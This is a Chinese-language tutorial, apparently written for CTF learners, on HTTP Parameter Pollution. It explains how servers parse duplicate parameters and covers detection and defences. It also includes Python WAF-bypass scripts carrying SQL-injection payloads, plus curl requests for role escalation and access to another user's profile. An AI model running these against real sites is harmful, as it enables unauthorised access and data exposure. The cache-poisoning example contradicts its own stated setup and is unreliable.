HTTP 参数污染
2025/8/29大约 9 分钟
HTTP 参数污染
本文适合
已掌握基本 Web 安全的学习者。学完你能:理解 HTTP 参数污染原理,识别不同服务器的参数解析差异,利用 HPP 绕过安全限制
什么是 HTTP 参数污染
HTTP 参数污染(HTTP Parameter Pollution,HPP)是指在 HTTP 请求中包含多个同名参数,利用不同服务器对重复参数的处理差异来绕过安全限制或改变应用行为。
为什么 HPP 能成功
不同 Web 服务器和框架对重复参数的处理方式不同:
服务器/框架 处理方式 示例结果
Apache/PHP 取最后一个 param=last
Tomcat/Java 取第一个 param=first
.NET/IIS 合并为数组 param=first¶m=last
Python/Flask 取第一个 param=first
Node.js/Express 取最后一个 param=last怎么判断服务器处理方式
第一步:看响应头
服务器类型通常在响应头中泄露:
Server: Apache→ PHP,取最后一个参数Server: nginx→ 可能是 PHP 或 Python,需要进一步测试Server: Microsoft-IIS→ .NET,合并为数组X-Powered-By: Express→ Node.js,取最后一个参数
第二步:发送测试请求
?id=1&id=2观察响应:
- 如果响应与
?id=1相同 → 取第一个参数 - 如果响应与
?id=2相同 → 取最后一个参数 - 如果响应与两者都不同 → 可能合并为数组
第三步:确认利用方式
根据服务器处理方式,构造攻击:
- 取第一个参数:WAF 检查第一个,后端取第一个 → 需要其他绕过
- 取最后一个参数:WAF 检查第一个,后端取最后一个 → HPP 绕过
- 合并为数组:可能需要特殊处理
常见误判:
- 以为所有服务器都取第一个参数
- 不测试就假设处理方式
- 忽略 POST body 中的参数
常见利用场景
路线总览:
1. WAF 绕过
场景:WAF 检查第一个参数,后端取最后一个参数
请求:?id=1'/**/AND/**/1=1--&id=1
WAF 看到:id=1'/**/AND/**/1=1-- (检测到注入)
后端执行:id=1 (正常查询)
如果后端取最后一个参数,则绕过了 WAF2. 参数覆盖
场景:应用使用第一个参数,API 使用最后一个参数
请求:?action=view&action=delete
应用逻辑:action=view (显示页面)
API 调用:action=delete (执行删除)3. 身份绕过
场景:认证检查用第一个参数,业务逻辑用最后一个参数
请求:?user=admin&user=guest
认证检查:user=admin (通过认证)
业务逻辑:user=guest (以 guest 身份执行)4. 缓存投毒
场景:缓存服务器用第一个参数,后端用最后一个参数
请求:?page=/admin&page=/public
缓存键:page=/public (缓存公开页面)
后端响应:/admin 的内容
后续请求 ?page=/public 返回 /admin 的内容不同语言的处理差异
PHP
// PHP 默认取最后一个参数
// $_GET['id'] = 'last'
// 但 http_build_query 使用第一个
// parse_str 使用最后一个Java
// request.getParameter() 取第一个
// request.getParameterValues() 返回数组
String id = request.getParameter("id"); // 第一个
String[] ids = request.getParameterValues("id"); // 所有Python
# Flask 默认取第一个
# request.args.get('id') # 第一个
# request.args.getlist('id') # 所有
# Django 取最后一个
# request.GET['id'] # 最后一个Node.js
// Express 默认取最后一个
// req.query.id // 最后一个
// 可以配置为数组
// app.set('query parser', 'extended')
// req.query.id // 数组HPP 检测方法
手动测试
1. 发送包含两个同名参数的请求
?id=1&id=2
2. 观察响应是否与单参数不同
3. 尝试不同的参数位置
?id=1&id=2
&id=1&id=2 (POST body)
4. 尝试不同的参数值
?id=normal&id=malicious自动化检测
import requests
def detect_hpp(url, param, values):
"""检测 HPP 漏洞"""
results = {}
# 单参数基准
baseline = requests.get(url, params={param: values[0]})
results['baseline'] = {
'status': baseline.status_code,
'length': len(baseline.text)
}
# 双参数测试
for v1 in values:
for v2 in values:
if v1 == v2:
continue
# 测试不同顺序
params = [(param, v1), (param, v2)]
resp = requests.get(url, params=params)
key = f"{v1}&{v2}"
results[key] = {
'status': resp.status_code,
'length': len(resp.text),
'different': resp.status_code != baseline.status_code or
len(resp.text) != len(baseline.text)
}
if results[key]['different']:
print(f"[!] HPP 可能: {key}")
print(f" 状态码: {resp.status_code}")
print(f" 响应长度: {len(resp.text)}")
return results
# 使用示例
# detect_hpp("http://target.com/search", "q", ["test", "admin", "1'/**/OR/**/1=1--"])HPP 利用技巧
WAF 绕过示例
import requests
def bypass_waf_with_hpp(url, param, payload):
"""使用 HPP 绕过 WAF"""
# 方法 1:重复参数
params = [(param, payload), (param, "1")]
resp1 = requests.get(url, params=params)
# 方法 2:参数顺序
params = [(param, "1"), (param, payload)]
resp2 = requests.get(url, params=params)
# 方法 3:参数数量
params = [(param, payload)] + [(param, "1")] * 10
resp3 = requests.get(url, params=params)
return resp1, resp2, resp3
# 使用示例
# payload = "1'/**/UNION/**/SELECT/**/1,2,3--"
# resp = bypass_waf_with_hpp("http://target.com/search", "id", payload)参数覆盖示例
import requests
def parameter_override(url, param, value1, value2):
"""利用参数覆盖"""
# 同时发送两个参数
params = [(param, value1), (param, value2)]
resp = requests.get(url, params=params)
# 检查响应中使用了哪个值
if value1 in resp.text:
print(f"[*] 使用了第一个参数: {value1}")
if value2 in resp.text:
print(f"[*] 使用了第二个参数: {value2}")
return resp
# 使用示例
# parameter_override("http://target.com/page", "action", "view", "delete")CTF 中的 HPP
常见题型
- WAF 绕过:使用 HPP 绕过参数过滤
- 参数覆盖:利用不同服务器处理差异
- 缓存投毒:利用缓存服务器和后端的参数处理差异
解题思路
- 识别服务器类型:通过响应头或错误页面判断
- 测试参数处理:发送重复参数观察行为
- 构造利用:根据处理差异构造 payload
HPP 防御
1. 统一参数处理
# 始终使用第一个或最后一个参数
# 不要混合使用2. 参数白名单
# 只允许预期的参数名
# 拒绝重复参数3. 参数验证
# 验证参数值的格式和范围
# 不依赖参数顺序常见误区
- 以为所有服务器处理方式相同
- 不测试参数顺序的影响
- 忽略 POST body 中的参数
- 不考虑参数数量的影响
做题时的归类问题
- 同一请求中同名参数出现多次,先回到 HTTP参数污染。
- WAF 拦截了 payload 但后端仍然执行,先回到 HTTP参数污染。
- 修改参数顺序后响应不同,先回到 HTTP参数污染。
- 后端使用了第一个参数但 WAF 检查最后一个,先回到 HTTP参数污染。
- 缓存返回的内容与实际请求不一致,先回到 HTTP参数污染。
一句话判断
同一个请求里出现多个同名参数,前端代理、WAF、框架、业务代码或缓存层对“取第一个、取最后一个、合并数组”的理解不同,并因此绕过校验或改变业务行为时,就按 HTTP 参数污染分析。
HPP 的核心是参数解析差异,不是单纯重复写参数。
题目中常见信号
- URL 或 body 可写成
id=1&id=2。 - 改变同名参数顺序后响应变化。
- WAF 拦截单参数 payload,但重复参数后后端执行。
- 认证检查和业务逻辑读取不同参数值。
- 缓存层和后端对 query 的缓存键处理不同。
- GET、POST body、JSON、multipart 中重复字段行为不同。
核心概念
HPP 常见差异:
安全层看到 param=clean
业务层使用 param=evil或者:
缓存键使用第一个参数
后端响应使用最后一个参数所以测试时要分别验证单参数、重复参数、参数顺序和不同位置。
最小分析流程
- 找会影响业务的参数。
- 分别请求
p=one和p=two建立基线。 - 请求
p=one&p=two。 - 请求
p=two&p=one。 - 比较响应内容、状态码、长度和业务效果。
- 在 GET、POST body、Cookie、JSON 中分别测试。
- 如果有 WAF,构造 clean/evil 双参数绕过。
- 如果有缓存,测试参数顺序对缓存键和响应的影响。
最小验证示例
curl -i 'http://target/item?id=1'
curl -i 'http://target/item?id=2'
curl -i 'http://target/item?id=1&id=2'
curl -i 'http://target/item?id=2&id=1'POST body:
curl -i -X POST 'http://target/api/update' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=user&role=admin'如果第三、第四个请求行为不同,就说明参数顺序会影响解析。
常见利用 / 解题路线
路线总览:
路线一:WAF 绕过
param=clean¶m=payload
WAF 看 clean,后端用 payload路线二:权限字段覆盖
role=user&role=admin
uid=当前用户&uid=目标用户路线三:认证和业务读取差异
auth 检查第一个 user
业务使用最后一个 user路线四:缓存投毒
缓存键取第一个参数
后端内容取最后一个参数路线五:数组解析利用
param=a¶m=b -> ["a","b"]如果业务没处理数组,可能触发类型绕过或逻辑异常。
常见失败原因
- 不测参数顺序:
a=1&a=2和a=2&a=1都要测。 - 只测 GET:POST body 和 multipart 也可能污染。
- 忽略框架差异:PHP、Java、Flask、Django、Express 默认不同。
- 只看页面文本:要看业务结果、数据库状态、权限是否变化。
- WAF 和后端同解析:同名参数未必一定能绕过。
- 缓存未隔离:测试缓存投毒时要注意清缓存或换 cache buster。
迷你案例
目标接口:
/api/profile?uid=1001普通用户只能访问自己。测试:
curl -i '/api/profile?uid=1001&uid=1002' -H 'Cookie: session=A'
curl -i '/api/profile?uid=1002&uid=1001' -H 'Cookie: session=A'第一条返回用户 B,第二条返回用户 A。说明后端取最后一个 uid。如果权限中间件只检查第一个 uid=1001,业务层用最后一个 uid=1002,就形成越权。
WP 要写清楚两层解析差异,而不是只写“加了两个 uid”。